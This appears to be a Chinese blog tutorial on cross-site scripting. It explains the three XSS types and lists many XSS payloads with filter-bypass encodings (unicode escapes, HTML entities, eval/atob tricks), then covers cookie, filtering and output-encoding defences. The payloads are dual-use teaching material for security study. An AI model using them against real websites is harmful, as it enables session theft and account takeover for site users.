XSS漏洞攻击与防御

简述

跨站脚本攻击(Cross Site Scripting)为了避免和层叠样式表(Cascading Style Sheets)缩写混淆,缩写为XSS。XSS是一种将任意JavaScript代码插入到Web用户页面里去执行以达到攻击目的漏洞。

XSS原理

主要原因是程序对用户的输入和输出没有进行严格的控制,当用户进行浏览页面时,浏览器会解析恶意的JavaScript代码,从而使用户被攻击。常见的攻击方式有窃取用户Cookie、模拟用户操作。

XSS分类

反射型XSS

反射型XSS(Reflected XSS Attacks)是一种非持久型的攻击,注入payload到漏洞点,浏览器立即解析并将结果反馈给攻击者。
常见的注入点:网站的搜索框、用户登录口、表单等地方。

存储型XSS

存储型XSS(Stored XSS Attacks)是一种持久型的攻击,漏洞产生原因一般是服务器未对用户输入的数据进行安全过滤保存到了服务器,每当有用户访问时就会触发其中恶意的代码。
常见的注入点:留言板、评论、日志等地方。

DOM型XSS

一种特殊的反射型XSS,基于DOM树修改浏览器的页面。下图中若输入框的内容为' onclick="alert('xss')" ,再点击a标签即可弹窗。(Pikachu靶场)

XSS利用

常见XSS payload

三种弹窗方式
alert('警告框')、prompt('提示框')、confirm('确认框')

<script>console.log(/xss/)</script>
# console.log()向控制台输出

<svg οnlοad=console.log(1)>
<img src=document.domain οnerrοr=console.log(2)>
<M οnmοuseοver=console.log(3)>M
<a href=javascript:console.log(4)>M</a>
<body οnlοad=console.log(5)>
<details open οntοggle=console.log(6)>
<embed src=javascript:console.log(7)>

拓展

浏览器在解析html文档时一般都会有三个过程:HTML解析、Javascript解析、URL解析
JavaScript解析

script块有个特性:在块中的字符实体引用不会被解析和解码。而对于Unicode转义字符,JavaScript会视三种情况而定:

  • 字符串中:<srcipt>var a=‘hi\u0027;alert(xss);//’</script>
    27为单引号,但转义字符出现在字符串中,解析后不会产生实际效果,不能闭合前面的单引号,报错

  • 控制字符中:<srcipt>console.log\u00281)</script>
    控制字符常见有单引号、双引号、圆括号等,在控制字符中不会产生实际效果,报错

  • 标识符名称中:<srcipt>console.\u006cog(1)</script>
    6c为字符l,它会被JavaScript解析,产生实际效果,最终会向控制台输出1

因此,我们可以通过对XSS代码的编码绕过一些防护

<a href="javascript:alert('test')">link</a>
<a href="javascript&colon;alert(1)">link</a>
<a href="javas&Tab;cript:\u0061lert(1);">link</a>
<a href="javascript:\u0061lert&#x28;1&#x29">Hello</a>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a>
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>
<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>link</a>
<a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>link</a>

<BODY ONLOAD=alert('XSS')>
<img src=1 οnerrοr=alert('xss')>
<img/src='1'/οnerrοr=alert('xss')>
<img src=1 οnmοuseοver=alert('xss')> 

<div οnclick="alert('xss')">111</div>
<div οnmοuseenter="alert('xss')">222</div>
<div style="width:100px;height:100px;overflow:scroll" οnscrοll="alert('a')">123456<br/><br/><br/><br/><br/>

<script>alert(0)</script>
<script>top['alert'](1)</script>
<script>self['alert'](2)</script>
<script>parent['alert'](3)</script>
<script>window['alert'](4)</script>
<script>Function(atob('YWxlcnQoInhzcyIp'))()</script>
<script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

XSS防御

Session和Cookie

HTTP协议是无状态的,当服务端需要记录用户状态时,这时Session就诞生了。
Session的作用就是标识是哪个用户,当用户第一次访问服务器后,服务器会生成一个唯一ID,并以Cookie的方式发送到浏览器,只要用户进行操作时带上有Session ID的Cookie,那么服务器就知道是谁。这种基于唯一ID识别用户身份的机制称为Session。Session保存在服务端。
Cookie是指网站为了辨别用户身份而储存在客户端上的数据。Cookie保存在客户端。Cookie可以由服务器设置也可以客户端设置
服务端通过Set-Cookie设置Cookie值,若有多项则多个Set-Cookie字段。
我们可以通过设置Cookie属性防止攻击者通过XSS漏洞窃取Cookie和跨域访问。
Cookie常见参数

输入过滤

当需接收用户输入的数据时,对常见的一些XSS利用关键字符进行过滤,比如说javascript alert document等字符串。

输出编码与转义

当将数据输出到页面时进行编码和转义处理

  • htmlspecialchars():把预定义的字符转换为HTML实体
  • htmlentities():把特殊字符转换为HTML实体

欢迎关注公众号,目前会发布一些漏洞POC,感谢支持
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值